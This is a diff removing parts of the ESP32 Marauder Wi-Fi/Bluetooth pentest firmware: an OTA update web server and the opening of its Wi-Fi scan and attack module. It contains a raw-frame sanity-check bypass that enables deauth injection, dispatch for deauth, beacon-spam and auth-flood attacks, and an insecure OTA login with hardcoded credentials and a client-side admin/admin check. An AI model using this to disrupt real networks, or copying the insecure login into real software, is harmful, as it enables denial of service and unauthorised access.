-  WiFi.softAP(ssid, password);
-  Serial.println("");
-
-  Serial.println(wifi_scan_obj.freeRAM());
-
-  Serial.println("Displaying settings to TFT...");
-  #ifdef HAS_SCREEN
-    display_obj.tft.print(text_table1[2]);
-    display_obj.tft.println(ssid);
-    display_obj.tft.print(text_table3[1]);
-    display_obj.tft.print(WiFi.softAPIP());
-    display_obj.tft.print("\n");
-  #endif
-  Serial.print("IP address: ");
-  Serial.println(WiFi.softAPIP());
-
-  // return javascript jquery
-  Serial.println("Setting server behavior...");
-  Serial.println(wifi_scan_obj.freeRAM());
-  server.on("/jquery.min.js", HTTP_GET, onJavaScript);
-  /*return index page which is stored in serverIndex */
-  server.on("/", HTTP_GET, [this]() {
-    server.sendHeader("Connection", "close");
-    server.send(200, "text/html", loginIndex);
-  });
-  server.on("/serverIndex", HTTP_GET, [this]() {
-    server.sendHeader("Connection", "close");
-    server.send(200, "text/html", serverIndex);
-  });
-  /*handling uploading firmware file */
-  server.on("/update", HTTP_POST, [this]() {
-    server.sendHeader("Connection", "close");
-    server.send(200, "text/plain", (Update.hasError()) ? "FAIL" : "OK");
-    ESP.restart();
-  }, [this]() {
-    HTTPUpload& upload = server.upload();
-    if (upload.status == UPLOAD_FILE_START) {
-      #ifdef HAS_SCREEN
-        display_obj.tft.setTextColor(TFT_YELLOW);
-        display_obj.tft.print(text_table3[2]);
-        display_obj.tft.print(upload.filename.c_str());
-        display_obj.tft.print("\n");
-      #endif
-      Serial.printf("Update: %s\n", upload.filename.c_str());
-      if (!Update.begin(UPDATE_SIZE_UNKNOWN)) { //start with max available size
-        Update.printError(Serial);
-      }
-    } else if (upload.status == UPLOAD_FILE_WRITE) {
-      /* flashing firmware to ESP*/
-      if (Update.write(upload.buf, upload.currentSize) != upload.currentSize) {
-        Update.printError(Serial);
-      }
-      #ifdef HAS_SCREEN
-        display_obj.tft.setTextColor(TFT_CYAN);
-        display_obj.tft.fillRect(0, 164, 240, 8, TFT_BLACK);
-        display_obj.tft.setCursor(0, 164);
-        display_obj.tft.print(text_table3[3]);
-        display_obj.tft.print(upload.totalSize);
-        display_obj.tft.print("\n");
-      #endif
-      
-    } else if (upload.status == UPLOAD_FILE_END) {
-      if (Update.end(true)) { //true to set the size to the current progress
-        #ifdef HAS_SCREEN
-          display_obj.tft.setTextColor(TFT_GREEN);
-          display_obj.tft.print(text_table3[4]);
-          display_obj.tft.print(upload.totalSize);
-          display_obj.tft.print(text_table2[3]);
-        #endif
-        Serial.printf("Update Success: %u\nRebooting...\n", upload.totalSize);
-        delay(1000);
-      } else {
-        Update.printError(Serial);
-      }
-    }
-  });
-
-  
-  Serial.println("Finished setting server behavior");
-  Serial.println(wifi_scan_obj.freeRAM());
-  Serial.println("Starting server...");
-  server.begin();
-
-  #ifdef HAS_SCREEN
-    display_obj.tft.setTextColor(TFT_GREEN);
-    display_obj.tft.println(text_table3[5]);
-  #endif
-  Serial.println("Completed update server setup");
-  Serial.println(wifi_scan_obj.freeRAM());
-}
-
-void Web::shutdownServer() {
-  Serial.println("Closing Update Server...");
-  server.stop();
-  WiFi.mode(WIFI_OFF);
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_stop();
-  esp_wifi_deinit();
-  Serial.println(wifi_scan_obj.freeRAM());
-}

+ 0 - 141
esp32cam_marauder/Web.h

@@ -1,141 +0,0 @@
-#ifndef Web_h
-#define Web_h
-
-/*
-Code taken from espressif ESP32 OTA Update example
-*/
-
-#include "configs.h"
-
-#include <WiFi.h>
-#include <WiFiClient.h>
-#include <WebServer.h>
-#include <ESPmDNS.h>
-#include <Update.h>
-
-#include "Assets.h"
-
-#ifdef HAS_SCREEN
-  #include "Display.h"
-#endif
-
-#include "WiFiScan.h"
-
-#ifdef HAS_SCREEN
-  extern Display display_obj;
-#endif
-
-extern WiFiScan wifi_scan_obj;
-
-class Web
-{
-  private:
-    
-    PROGMEM const char* host = "esp32marauder";
-    PROGMEM const char* ssid = "MarauderOTA";
-    PROGMEM const char* password = "justcallmekoko";
-
-    bool serving = false;
-    
-    int num_sta = 0;
-
-    PROGMEM const char* loginIndex = 
-     "<form name='loginForm'>"
-        "<table width='20%' bgcolor='A09F9F' align='center'>"
-            "<tr>"
-                "<td colspan=2>"
-                    "<center><font size=4><b>ESP32 Login Page</b></font></center>"
-                    "<br>"
-                "</td>"
-                "<br>"
-                "<br>"
-            "</tr>"
-            "<td>Username:</td>"
-            "<td><input type='text' size=25 name='userid'><br></td>"
-            "</tr>"
-            "<br>"
-            "<br>"
-            "<tr>"
-                "<td>Password:</td>"
-                "<td><input type='Password' size=25 name='pwd'><br></td>"
-                "<br>"
-                "<br>"
-            "</tr>"
-            "<tr>"
-                "<td><input type='submit' onclick='check(this.form)' value='Login'></td>"
-            "</tr>"
-        "</table>"
-    "</form>"
-    "<script>"
-        "function check(form)"
-        "{"
-        "if(form.userid.value=='admin' && form.pwd.value=='admin')"
-        "{"
-        "window.open('/serverIndex')"
-        "}"
-        "else"
-        "{"
-        " alert('Error Password or Username')/*displays error message*/"
-        "}"
-        "}"
-    "</script>";
-     
-    /*
-     * Server Index Page
-     */
-     
-    PROGMEM const char* serverIndex = 
-    "<script src='/jquery.min.js'></script>"
-    "Because the lack of an asynchronous webserver in this Arduino sketch like 'ESPAsyncWebServer', <br/>"
-    "both file 'serverIndex' and 'jquery.min.js' can't be read from the webserver at the same time. <br/><br/>"
-    "Your web browser probably requests those two files simultaneously and therefore <br/>"
-    "the javascript file failed to load. By a refresh of this page, the browser cash has already <br/>"
-    "load 'serverIndex' file, the web browser will do a second attempt to only read the javascript file. <br/>"
-    "This second attempt, with an idle webserver, will be processed.<br/><br/>"
-    "Long story short, press F5 (refresh web browser) before uploading your firmware. <br/><br/>"
-    "<form method='POST' action='#' enctype='multipart/form-data' id='upload_form'>"
-       "<input type='file' name='update'>"
-            "<input type='submit' value='Update'>"
-        "</form>"
-     "<div id='prg'>progress: 0%</div>"
-     "<script>"
-      "$('form').submit(function(e){"
-      "e.preventDefault();"
-      "var form = $('#upload_form')[0];"
-      "var data = new FormData(form);"
-      " $.ajax({"
-      "url: '/update',"
-      "type: 'POST',"
-      "data: data,"
-      "contentType: false,"
-      "processData:false,"
-      "xhr: function() {"
-      "var xhr = new window.XMLHttpRequest();"
-      "xhr.upload.addEventListener('progress', function(evt) {"
-      "if (evt.lengthComputable) {"
-      "var per = evt.loaded / evt.total;"
-      "$('#prg').html('progress: ' + Math.round(per*100) + '%');"
-      "}"
-      "}, false);"
-      "return xhr;"
-      "},"
-      "success:function(d, s) {"
-      "console.log('success!')" 
-     "},"
-     "error: function (a, b, c) {"
-     "}"
-     "});"
-     "});"
-     "</script>";
-
-  public:
-  
-    Web();
-
-    void main();
-    PROGMEM static void onJavaScript();
-    void setupOTAupdate();
-    void shutdownServer();
-};
-
-#endif

+ 4111 - 3732
esp32cam_marauder/WiFiScan.cpp

@@ -1,3732 +1,4111 @@
-#include "WiFiScan.h"
-#include "lang_var.h"
-
-int num_beacon = 0;
-int num_deauth = 0;
-int num_probe = 0;
-int num_eapol = 0;
-
-LinkedList<ssid>* ssids;
-LinkedList<AccessPoint>* access_points;
-LinkedList<Station>* stations;
-
-extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
-    if (arg == 31337)
-      return 1;
-    else
-      return 0;
-}
-
-#ifdef HAS_BT
-  class bluetoothScanAllCallback: public BLEAdvertisedDeviceCallbacks {
-  
-      void onResult(BLEAdvertisedDevice *advertisedDevice) {
-  
-        #ifdef HAS_SCREEN
-          int buf = display_obj.display_buffer->size();
-        #else
-          int buf = 0;
-        #endif
-          
-        String display_string = "";
-        if (buf >= 0)
-        {
-          display_string.concat(text_table4[0]);
-          display_string.concat(advertisedDevice->getRSSI());
-          Serial.print(" RSSI: ");
-          Serial.print(advertisedDevice->getRSSI());
-  
-          display_string.concat(" ");
-          Serial.print(" ");
-          
-          Serial.print("Device: ");
-          if(advertisedDevice->getName().length() != 0)
-          {
-            display_string.concat(advertisedDevice->getName().c_str());
-            Serial.print(advertisedDevice->getName().c_str());
-            
-          }
-          else
-          {
-            display_string.concat(advertisedDevice->getAddress().toString().c_str());
-            Serial.print(advertisedDevice->getAddress().toString().c_str());
-          }
-  
-          #ifdef HAS_SCREEN
-            uint8_t temp_len = display_string.length();
-            for (uint8_t i = 0; i < 40 - temp_len; i++)
-            {
-              display_string.concat(" ");
-            }
-    
-            Serial.println();
-    
-            while (display_obj.printing)
-              delay(1);
-            display_obj.loading = true;
-            display_obj.display_buffer->add(display_string);
-            display_obj.loading = false;
-          #endif
-        }
-      }
-  };
-  
-  class bluetoothScanSkimmersCallback: public BLEAdvertisedDeviceCallbacks {
-      void onResult(BLEAdvertisedDevice *advertisedDevice) {
-        String bad_list[bad_list_length] = {"HC-03", "HC-05", "HC-06"};
-  
-        #ifdef HAS_SCREEN
-          int buf = display_obj.display_buffer->size();
-        #else
-          int buf = 0;
-        #endif
-          
-        if (buf >= 0)
-        {
-          Serial.print("Device: ");
-          String display_string = "";
-          if(advertisedDevice->getName().length() != 0)
-          {
-            Serial.print(advertisedDevice->getName().c_str());
-            for(uint8_t i = 0; i < bad_list_length; i++)
-            {
-              #ifdef HAS_SCREEN
-                if(strcmp(advertisedDevice->getName().c_str(), bad_list[i].c_str()) == 0)
-                {
-                  display_string.concat(text_table4[1]);
-                  display_string.concat(" ");
-                  display_string.concat(advertisedDevice->getName().c_str());
-                  uint8_t temp_len = display_string.length();
-                  for (uint8_t i = 0; i < 40 - temp_len; i++)
-                  {
-                    display_string.concat(" ");
-                  }
-                  while (display_obj.printing)
-                    delay(1);
-                  display_obj.loading = true;
-                  display_obj.display_buffer->add(display_string);
-                  display_obj.loading = false;
-                }
-              #endif
-            }
-          }
-          else
-          {
-            Serial.print(advertisedDevice->getAddress().toString().c_str());
-          }
-          Serial.print(" RSSI: ");
-          Serial.println(advertisedDevice->getRSSI());
-        }
-      }
-  };
-#endif
-
-
-WiFiScan::WiFiScan()
-{
-}
-
-void WiFiScan::RunSetup() {
-  if (ieee80211_raw_frame_sanity_check(31337, 0, 0) == 1)
-    this->wsl_bypass_enabled = true;
-  else
-    this->wsl_bypass_enabled = false;
-    
-  ssids = new LinkedList<ssid>();
-  access_points = new LinkedList<AccessPoint>();
-  stations = new LinkedList<Station>();
-
-  #ifdef HAS_BT
-    NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
-    NimBLEDevice::setScanDuplicateCacheSize(200);
-    NimBLEDevice::init("");
-    pBLEScan = NimBLEDevice::getScan(); //create new scan
-    this->ble_initialized = true;
-    
-    this->shutdownBLE();
-  #endif
-
-  this->initWiFi(1);
-}
-
-int WiFiScan::clearStations() {
-  int num_cleared = stations->size();
-  stations->clear();
-  Serial.println("stations: " + (String)stations->size());
-
-  // Now clear stations list from APs
-  for (int i = 0; i < access_points->size(); i++)
-    access_points->get(i).stations->clear();
-    
-  return num_cleared;
-}
-
-int WiFiScan::clearAPs() {
-  int num_cleared = access_points->size();
-  access_points->clear();
-  Serial.println("access_points: " + (String)access_points->size());
-  return num_cleared;
-}
-
-int WiFiScan::clearSSIDs() {
-  int num_cleared = ssids->size();
-  ssids->clear();
-  Serial.println("ssids: " + (String)ssids->size());
-  return num_cleared;
-}
-
-bool WiFiScan::addSSID(String essid) {
-  ssid s = {essid, random(1, 12), {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
-  ssids->add(s);
-  Serial.println(ssids->get(ssids->size() - 1).essid);
-
-  return true;
-}
-
-int WiFiScan::generateSSIDs(int count) {
-  uint8_t num_gen = count;
-  for (uint8_t x = 0; x < num_gen; x++) {
-    String essid = "";
-
-    for (uint8_t i = 0; i < 6; i++)
-      essid.concat(alfa[random(65)]);
-
-    ssid s = {essid, random(1, 12), {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
-    ssids->add(s);
-    Serial.println(ssids->get(ssids->size() - 1).essid);
-  }
-
-  return num_gen;
-}
-
-#ifdef HAS_SCREEN
-  void WiFiScan::joinWiFi(String ssid, String password)
-  {
-    static const char * btns[] ={text16, ""};
-    int count = 0;
-    
-    if ((WiFi.status() == WL_CONNECTED) && (ssid == connected_network) && (ssid != "")) {
-      lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
-      lv_msgbox_set_text(mbox1, text_table4[2]);
-      lv_msgbox_add_btns(mbox1, btns);
-      lv_obj_set_width(mbox1, 200);
-      lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
-      this->wifi_initialized = true;
-      return;
-    }
-    else if (WiFi.status() == WL_CONNECTED) {
-      Serial.println("Already connected. Disconnecting...");
-      WiFi.disconnect();
-    }
-  
-    esp_wifi_init(&cfg);
-    esp_wifi_set_storage(WIFI_STORAGE_RAM);
-    esp_wifi_set_mode(WIFI_MODE_NULL);
-    esp_wifi_start();
-      
-    WiFi.begin(ssid.c_str(), password.c_str());
-  
-    Serial.print("Connecting to WiFi");
-    while (WiFi.status() != WL_CONNECTED) {
-      delay(500);
-      Serial.print(".");
-      count++;
-      if (count == 10)
-      {
-        Serial.println("\nCould not connect to WiFi network");
-        lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
-        lv_msgbox_set_text(mbox1, text_table4[3]);
-        lv_msgbox_add_btns(mbox1, btns);
-        lv_obj_set_width(mbox1, 200);
-        //lv_obj_set_event_cb(mbox1, event_handler);
-        lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
-        WiFi.mode(WIFI_OFF);
-        return;
-      }
-    }
-  
-    lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
-    lv_msgbox_set_text(mbox1, text_table4[4]);
-    lv_msgbox_add_btns(mbox1, btns);
-    lv_obj_set_width(mbox1, 200);
-    lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
-  
-    connected_network = ssid;
-    
-    Serial.println("\nConnected to the WiFi network");
-    Serial.print("IP address: ");
-    Serial.println(WiFi.localIP());
-    this->wifi_initialized = true;
-  }
-#endif
-
-// Apply WiFi settings
-void WiFiScan::initWiFi(uint8_t scan_mode) {
-  // Set the channel
-  if (scan_mode != WIFI_SCAN_OFF) {
-    //Serial.println(F("Initializing WiFi settings..."));
-    this->changeChannel();
-  
-    this->force_pmkid = settings_obj.loadSetting<bool>(text_table4[5]);
-    this->force_probe = settings_obj.loadSetting<bool>(text_table4[6]);
-    this->save_pcap = settings_obj.loadSetting<bool>(text_table4[7]);
-    //Serial.println(F("Initialization complete"));
-  }
-}
-
-bool WiFiScan::scanning() {
-  if (this->currentScanMode == WIFI_SCAN_OFF)
-    return false;
-  else
-    return true;
-}
-
-// Function to prepare to run a specific scan
-void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
-{  
-  this->initWiFi(scan_mode);
-  if (scan_mode == WIFI_SCAN_OFF)
-    StopScan(scan_mode);
-  else if (scan_mode == WIFI_SCAN_PROBE)
-    RunProbeScan(scan_mode, color);
-  else if (scan_mode == WIFI_SCAN_EAPOL)
-    RunEapolScan(scan_mode, color);
-  else if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
-    RunEapolScan(scan_mode, color);
-  else if (scan_mode == WIFI_SCAN_AP)
-    RunBeaconScan(scan_mode, color);
-  else if (scan_mode == WIFI_SCAN_RAW_CAPTURE)
-    RunRawScan(scan_mode, color);
-  else if (scan_mode == WIFI_SCAN_STATION)
-    RunStationScan(scan_mode, color);
-  else if (scan_mode == WIFI_SCAN_TARGET_AP)
-    RunAPScan(scan_mode, color);
-  else if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
-    RunAPScan(scan_mode, color);
-  else if (scan_mode == WIFI_SCAN_PWN)
-    RunPwnScan(scan_mode, color);
-  else if (scan_mode == WIFI_SCAN_DEAUTH)
-    RunDeauthScan(scan_mode, color);
-  else if (scan_mode == WIFI_PACKET_MONITOR) {
-    #ifdef HAS_SCREEN
-      RunPacketMonitor(scan_mode, color);
-    #endif
-  }
-  else if (scan_mode == WIFI_ATTACK_BEACON_LIST)
-    this->startWiFiAttacks(scan_mode, color, text_table1[50]);
-  else if (scan_mode == WIFI_ATTACK_BEACON_SPAM)
-    this->startWiFiAttacks(scan_mode, color, text_table1[51]);
-  else if (scan_mode == WIFI_ATTACK_RICK_ROLL)
-    this->startWiFiAttacks(scan_mode, color, text_table1[52]);
-  else if (scan_mode == WIFI_ATTACK_AUTH)
-    this->startWiFiAttacks(scan_mode, color, text_table4[7]);
-  else if (scan_mode == WIFI_ATTACK_DEAUTH)
-    this->startWiFiAttacks(scan_mode, color, text_table4[8]);
-  else if (scan_mode == WIFI_ATTACK_DEAUTH_MANUAL)
-    this->startWiFiAttacks(scan_mode, color, text_table4[8]);
-  else if (scan_mode == WIFI_ATTACK_DEAUTH_TARGETED)
-    this->startWiFiAttacks(scan_mode, color, text_table4[47]);
-  else if (scan_mode == WIFI_ATTACK_AP_SPAM)
-    this->startWiFiAttacks(scan_mode, color, " AP Beacon Spam ");
-  else if (scan_mode == BT_SCAN_ALL) {
-    #ifdef HAS_BT
-      RunBluetoothScan(scan_mode, color);
-    #endif
-  }
-  else if (scan_mode == BT_SCAN_SKIMMERS) {
-    #ifdef HAS_BT
-      RunBluetoothScan(scan_mode, color);
-    #endif
-  }
-  else if (scan_mode == WIFI_SCAN_ESPRESSIF)
-    RunEspressifScan(scan_mode, color);
-  else if (scan_mode == LV_JOIN_WIFI) {
-    #ifdef HAS_SCREEN
-      RunLvJoinWiFi(scan_mode, color);
-    #endif
-  }
-  else if (scan_mode == LV_ADD_SSID) {
-    #ifdef HAS_SCREEN
-      RunLvJoinWiFi(scan_mode, color);
-    #endif
-  }
-
-  WiFiScan::currentScanMode = scan_mode;
-}
-
-void WiFiScan::startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string) {
-  // Common wifi attack configurations
-  #ifdef HAS_SCREEN
-    display_obj.TOP_FIXED_AREA_2 = 48;
-    display_obj.tteBar = true;
-    display_obj.print_delay_1 = 15;
-    display_obj.print_delay_2 = 10;
-    display_obj.initScrollValues(true);
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setTextColor(TFT_BLACK, color);
-    display_obj.tft.fillRect(0,16,240,16, color);
-    display_obj.tft.drawCentreString((String)title_string,120,16,2);
-    display_obj.touchToExit();
-    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-  #endif
-
-  //wifi_ap_config_t ap_config;
-  //ap_config.ssid_hidden = 1;
-
-  ap_config.ap.ssid_hidden = 1;
-  ap_config.ap.beacon_interval = 10000;
-  ap_config.ap.ssid_len = 0;
-        
-  packets_sent = 0;
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_AP);
-  esp_wifi_set_config(WIFI_IF_AP, &ap_config);
-  esp_wifi_start();
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  
-  //WiFi.mode(WIFI_AP_STA);
-  
-  //esp_wifi_init(&cfg);
-  //esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  //esp_wifi_set_mode(WIFI_AP_STA);
-  //esp_wifi_start();
-  //esp_wifi_set_promiscuous_filter(NULL);
-  esp_wifi_set_promiscuous(true);
-  esp_wifi_set_max_tx_power(82);
-  this->wifi_initialized = true;
-  #ifdef MARAUDER_FLIPPER
-    flipper_led.attackLED();
-  #else
-    led_obj.setMode(MODE_ATTACK);
-  #endif
-  initTime = millis();
-}
-
-bool WiFiScan::shutdownWiFi() {
-  if (this->wifi_initialized) {
-    esp_wifi_set_promiscuous(false);
-    WiFi.disconnect();
-    WiFi.mode(WIFI_OFF);
-
-    dst_mac = "ff:ff:ff:ff:ff:ff";
-  
-    esp_wifi_set_mode(WIFI_MODE_NULL);
-    esp_wifi_stop();
-    esp_wifi_restore();
-    esp_wifi_deinit();
-
-    #ifdef MARAUDER_FLIPPER
-      flipper_led.offLED();
-    #else
-      led_obj.setMode(MODE_OFF);
-    #endif
-  
-    this->wifi_initialized = false;
-    return true;
-  }
-  else {
-    return false;
-  }
-}
-
-bool WiFiScan::shutdownBLE() {
-  #ifdef HAS_BT
-    if (this->ble_initialized) {
-      pBLEScan->stop();
-      
-      pBLEScan->clearResults();
-      BLEDevice::deinit();
-
-      #ifdef MARAUDER_FLIPPER
-        flipper_led.offLED();
-      #else
-        led_obj.setMode(MODE_OFF);
-      #endif
-    
-      this->ble_initialized = false;
-      return true;
-    }
-    else {
-      return false;
-    }
-  #endif
-
-  return true;
-}
-
-// Function to stop all wifi scans
-void WiFiScan::StopScan(uint8_t scan_mode)
-{
-  if ((currentScanMode == WIFI_SCAN_PROBE) ||
-  (currentScanMode == WIFI_SCAN_AP) ||
-  (currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
-  (currentScanMode == WIFI_SCAN_STATION) ||
-  (currentScanMode == WIFI_SCAN_TARGET_AP) ||
-  (currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
-  (currentScanMode == WIFI_SCAN_PWN) ||
-  (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
-  (currentScanMode == WIFI_SCAN_EAPOL) ||
-  (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL) ||
-  (currentScanMode == WIFI_SCAN_ALL) ||
-  (currentScanMode == WIFI_SCAN_DEAUTH) ||
-  (currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
-  (currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
-  (currentScanMode == WIFI_ATTACK_AUTH) ||
-  (currentScanMode == WIFI_ATTACK_DEAUTH) ||
-  (currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) ||
-  (currentScanMode == WIFI_ATTACK_DEAUTH_TARGETED) ||
-  (currentScanMode == WIFI_ATTACK_MIMIC) ||
-  (currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
-  (currentScanMode == WIFI_PACKET_MONITOR) ||
-  (currentScanMode == LV_JOIN_WIFI))
-  {
-    this->shutdownWiFi();
-  }
-
-  
-  else if ((currentScanMode == BT_SCAN_ALL) ||
-  (currentScanMode == BT_SCAN_SKIMMERS))
-  {
-    #ifdef HAS_BT
-      this->shutdownBLE();
-    #endif
-  }
-
-  #ifdef HAS_SCREEN
-    display_obj.display_buffer->clear();
-    #ifdef SCREEN_BUFFER
-      display_obj.screen_buffer->clear();
-    #endif
-    //Serial.print("display_buffer->size(): ");
-    Serial.println(display_obj.display_buffer->size());
-  
-    display_obj.tteBar = false;
-  #endif
-}
-
-String WiFiScan::getStaMAC()
-{
-  char *buf;
-  uint8_t mac[6];
-  char macAddrChr[18] = {0};
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_start();
-  esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
-  this->wifi_initialized = true;
-  sprintf(macAddrChr, 
-          "%02X:%02X:%02X:%02X:%02X:%02X",
-          mac[0],
-          mac[1],
-          mac[2],
-          mac[3],
-          mac[4],
-          mac[5]);
-  this->shutdownWiFi();
-  return String(macAddrChr);
-}
-
-String WiFiScan::getApMAC()
-{
-  char *buf;
-  uint8_t mac[6];
-  char macAddrChr[18] = {0};
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_start();
-  esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
-  this->wifi_initialized = true;
-  sprintf(macAddrChr, 
-          "%02X:%02X:%02X:%02X:%02X:%02X",
-          mac[0],
-          mac[1],
-          mac[2],
-          mac[3],
-          mac[4],
-          mac[5]);
-  this->shutdownWiFi();
-  return String(macAddrChr);
-}
-
-
-String WiFiScan::freeRAM()
-{
-  char s[150];
-  sprintf(s, "RAM Free: %u bytes", esp_get_free_heap_size());
-  this->free_ram = String(esp_get_free_heap_size());
-  return String(s);
-}
-
-// Function to start running a beacon scan
-void WiFiScan::RunAPScan(uint8_t scan_mode, uint16_t color)
-{
-  #ifdef WRITE_PACKETS_SERIAL
-    buffer_obj.open();
-  #else
-    sd_obj.openCapture("ap");
-  #endif
-
-  #ifdef MARAUDER_FLIPPER
-    flipper_led.sniffLED();
-  #else
-    led_obj.setMode(MODE_SNIFF);
-  #endif
-
-  Serial.println(text_table4[9] + (String)access_points->size());
-  #ifdef HAS_SCREEN
-    display_obj.TOP_FIXED_AREA_2 = 48;
-    display_obj.tteBar = true;
-    display_obj.print_delay_1 = 15;
-    display_obj.print_delay_2 = 10;
-    display_obj.initScrollValues(true);
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setTextColor(TFT_WHITE, color);
-    #ifndef MARAUDER_MINI
-      display_obj.tft.fillRect(0,16,240,16, color);
-      display_obj.tft.drawCentreString(text_table4[44],120,16,2);
-      display_obj.touchToExit();
-    #endif
-    display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-    display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
-  #endif
-  esp_wifi_init(&cfg);
-  esp_wifi_set_storage(WIFI_STORAGE_RAM);
-  esp_wifi_set_mode(WIFI_MODE_NULL);
-  esp_wifi_start();
-  esp_wifi_set_promiscuous(true);
-  esp_wifi_set_promiscuous_filter(&filt);
-  //if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
-  esp_wifi_set_promiscuous_rx_cb(&apSnifferCallbackFull);
-  //else
-  //  esp_wifi_set_promiscuous_rx_cb(&apSnifferCallback);
-  esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
-  this->wifi_initialized = true;
-  initTime = millis();
-}
-
-#ifdef HAS_SCREEN
-  void WiFiScan::RunLvJoinWiFi(uint8_t scan_mode, uint16_t color) {
-  
-    display_obj.tft.init();
-    display_obj.tft.setRotation(1);
-    
-    #ifdef TFT_SHIELD
-      uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
-      Serial.println("Using TFT Shield");
-    #else if defined(TFT_DIY)
-      uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
-      Serial.println("Using TFT DIY");
-    #endif
-    display_obj.tft.setTouch(calData);
-    
-  
-    lv_obj_t * scr = lv_cont_create(NULL, NULL);
-    lv_disp_load_scr(scr);
-  
-  }
-#endif
-
-void WiFiScan::RunClearStations() {
-  #ifdef HAS_SCREEN
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setFreeFont(NULL);
-    display_obj.tft.setCursor(0, 100);
-    display_obj.tft.setTextSize(1);
-    display_obj.tft.setTextColor(TFT_CYAN);
-  
-    display_obj.tft.println(F(text_table4[45]));
-    display_obj.tft.println(text_table4[46] + (String)this->clearStations());
-  #else
-    this->clearStations();
-  #endif
-}
-
-void WiFiScan::RunClearAPs() {
-  #ifdef HAS_SCREEN
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setFreeFont(NULL);
-    display_obj.tft.setCursor(0, 100);
-    display_obj.tft.setTextSize(1);
-    display_obj.tft.setTextColor(TFT_CYAN);
-  
-    display_obj.tft.println(F(text_table4[9]));
-    display_obj.tft.println(text_table4[10] + (String)this->clearAPs());
-    display_obj.tft.println(F(text_table4[45]));
-    display_obj.tft.println(text_table4[46] + (String)this->clearStations());
-  #else
-    this->clearAPs();
-    this->clearStations();
-  #endif
-}
-
-void WiFiScan::RunClearSSIDs() {
-  #ifdef HAS_SCREEN
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setFreeFont(NULL);
-    display_obj.tft.setCursor(0, 100);
-    display_obj.tft.setTextSize(1);
-    display_obj.tft.setTextColor(TFT_CYAN);
-  
-    display_obj.tft.println(F(text_table4[11]));
-    display_obj.tft.println(text_table4[12] + (String)this->clearSSIDs());
-  #else
-    this->clearSSIDs();
-  #endif
-}
-
-void WiFiScan::RunGenerateSSIDs(int count) {
-  #ifdef HAS_SCREEN
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setFreeFont(NULL);
-    display_obj.tft.setCursor(0, 100);
-    display_obj.tft.setTextSize(1);
-    display_obj.tft.setTextColor(TFT_CYAN);
-  
-    display_obj.tft.println(F(text_table4[13]));
-  
-    display_obj.tft.println(text_table4[14] + (String)this->generateSSIDs());
-    display_obj.tft.println(text_table4[15] + (String)ssids->size());
-  #else
-    this->generateSSIDs(count);
-  #endif
-}
-
-void WiFiScan::RunShutdownWiFi() {
-  #ifdef HAS_SCREEN
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setFreeFont(NULL);
-    display_obj.tft.setCursor(0, 100);
-    display_obj.tft.setTextSize(1);
-    display_obj.tft.setTextColor(TFT_CYAN);
-
-    display_obj.tft.print(F(text_table4[16]));
-  #endif
-
-  if (this->wifi_initialized) {
-    this->shutdownWiFi();
-    #ifdef HAS_SCREEN
-      display_obj.tft.setTextColor(TFT_GREEN);
-      display_obj.tft.println(F("OK"));
-    #endif
-  }
-  else {
-    #ifdef HAS_SCREEN
-      display_obj.tft.setTextColor(TFT_RED);
-      display_obj.tft.println(F(text17));
-      display_obj.tft.println(F(text_table4[17]));
-    #endif
-  }
-}
-
-void WiFiScan::RunShutdownBLE() {
-  #ifdef HAS_SCREEN
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setFreeFont(NULL);
-    display_obj.tft.setCursor(0, 100);
-    display_obj.tft.setTextSize(1);
-    display_obj.tft.setTextColor(TFT_CYAN);
-  
-    display_obj.tft.print(F(text_table4[18]));
